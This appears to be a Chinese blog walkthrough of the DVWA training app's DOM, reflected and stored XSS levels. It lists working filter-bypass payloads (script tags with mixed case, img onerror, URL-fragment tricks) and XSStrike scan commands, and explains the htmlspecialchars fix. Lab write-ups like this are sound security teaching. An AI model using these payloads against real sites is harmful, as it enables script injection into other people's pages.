dvwa:xss全系列全难度解析

复制代码
引号内注入:
<select name="default">
    <option value="English">English</option>
                   ^^^^^^^
    <option value="" disabled="disabled">----</option>
    <option value='English'>English</option>
    <option value='French'>French</option>
    ...
</select>
​
引号外注入:
<select name="default">
    <option value="English">English</option>
                            ^^^^^^^
    <option value="" disabled="disabled">----</option>
    <option value='English'>English</option>
    <option value='French'>French</option>
    ...
</select>

xss-dom

low
复制代码
引号内注入:"> <script>alert(1)</script>
引号外注入:<script>alert(1)</script>
medium
复制代码
过滤了$_GET['default']过滤了<script
引号内注入:
#"> <script>alert(1)</script>
​
此时的url为:/dvwa/vulnerabilities/xss_d/?default=#">%20<script>alert(1)</script>
后端$_GET['default']获取的值为空,而前端获取的default参数为#">%20<script>alert(1)</script>
这是因为$_GET['default']会自动选择#前的内容,而前端是通过js代码经过url字符截断获取的参数
​
引号外注入:
</select><img src = 1 onerror = alert(1)>   // 注:img标签必须出现在select标签之外
​
tips:
1.<select></select>标签内部出现img图片标签将不做任何解析,也就是说<img src = 1 onerror = alert(1)>不能出现在<select>内部,否则浏览器直接忽略<select>内的img标签
2.<option>标签不会对onmousemove或onclick等函数进行解析,所以此情况下引号内注入οnmοusemοve='alert(1)'将没有任何用处,如:
<option value="" οnclick='alert(1)'>此情况onclick无论如何都触发不了,可能option标签天生就不支持这样的功能,而select
<select value="" οnclick='alert(1)'>此情况可以触发onclick,所以select支持这种功能
high
复制代码
对$_GET['default']进行限制,其只能是"French"、"English"、"German"、"Spanish"这几个字符
​
还是之前说的前端输出的数据,跟后端判断的数据不统一,例如输入default=French#blablabla
后端获取为:French
前端输出为:French#blablabla
​
引号内注入:
French#"> <script>alert(1)</script>
引号外注入:
English#</select><img src = 1 onerror = alert(1)>

impossible

复制代码
前端没有调用decodeURL函数导致输出的内容是url编码的字符串
源码功能解析
复制代码
用户发送get请求:http://www.oswe.com/dvwa/vulnerabilities/xss_d/?default=English
​
后端通过$_GET['default']获取get请求值
而前端通过js代码字符串截断url获取get请求值
也就是说前后端获取的get请求值不是同一个来源,不是同一个变量,是不统一的,
​
当default=English#blablabla 时
后端获取的值:English#
前端获取的值:English#blablabla
也就是说后端判断的值没有携带#后面内容,这是$_GET['']变量的特性
而前端是通过url字符串截断获取的English#blablabla

xss-reflected

  • 只有引号外闭合
low
复制代码
<script>alert(1)</script>
medium
复制代码
替换'<script>'为空
​
<ScRipt>alert(1)</script>
<img src=1 οnerrοr='alert(1)'>
high
复制代码
script被过滤
​
<img src=1 οnerrοr='alert(1)'>
impossible
复制代码
$name = htmlspecialchars( $_GET[ 'name' ] ); 
实体化输出

xss-stored

low
复制代码
Message:
<script>alert(1)</script>
medium
复制代码
message前端内容被实体化
name替换'<script>'为空
​
html修改一下name的input容量
name:
<sCRiPt>alert(1)</script>
high
复制代码
message前端内容被实体化
name下script被过滤
​
html修改一下name的input容量
name:
<img src=1 οnerrοr='alert(1)'>
impossible
复制代码
$message = htmlspecialchars( $message ); 
$name = htmlspecialchars( $name ); 
前端内容实体化,不被浏览器解析

xss工具:xsstrike

复制代码
能扫xss-reflected的low、medium、high难度
其他系列都扫不出来
​
python xsstrike.py -u "http://www.oswe.com/dvwa/vulnerabilities/xss_r/?name=1#" --headers "Cookie: PHPSESSID=fvka8d269vd8t386ir30utsorl; security=low" --proxy
​
python xsstrike.py -u "http://www.oswe.com/dvwa/vulnerabilities/xss_r/?name=1#" --headers "Cookie: PHPSESSID=fvka8d269vd8t386ir30utsorl; security=medium" --proxy
​
python xsstrike.py -u "http://www.oswe.com/dvwa/vulnerabilities/xss_r/?name=1#" --headers "Cookie: PHPSESSID=fvka8d269vd8t386ir30utsorl; security=high" --proxy
​
此工具如果想要使用代理,执行以下操作:
1.export HTTP_PROXY=http:127.0.0.1:8080/                    # 指定代理地址
2.--proxy参数开启代理
相关推荐
耶啵奶膘24 分钟前
uniapp-是否删除
linux·前端·uni-app
_.Switch1 小时前
高级Python自动化运维:容器安全与网络策略的深度解析
运维·网络·python·安全·自动化·devops
JokerSZ.1 小时前
【基于LSM的ELF文件安全模块设计】参考
运维·网络·安全
SafePloy安策1 小时前
软件加密与授权管理:构建安全高效的软件使用体系
安全
芯盾时代2 小时前
数字身份发展趋势前瞻:身份韧性与安全
运维·安全·网络安全·密码学·信息与通信
王哈哈^_^2 小时前
【数据集】【YOLO】【目标检测】交通事故识别数据集 8939 张,YOLO道路事故目标检测实战训练教程!
前端·人工智能·深度学习·yolo·目标检测·计算机视觉·pyqt
cs_dn_Jie2 小时前
钉钉 H5 微应用 手机端调试
前端·javascript·vue.js·vue·钉钉
开心工作室_kaic3 小时前
ssm068海鲜自助餐厅系统+vue(论文+源码)_kaic
前端·javascript·vue.js
有梦想的刺儿3 小时前
webWorker基本用法
前端·javascript·vue.js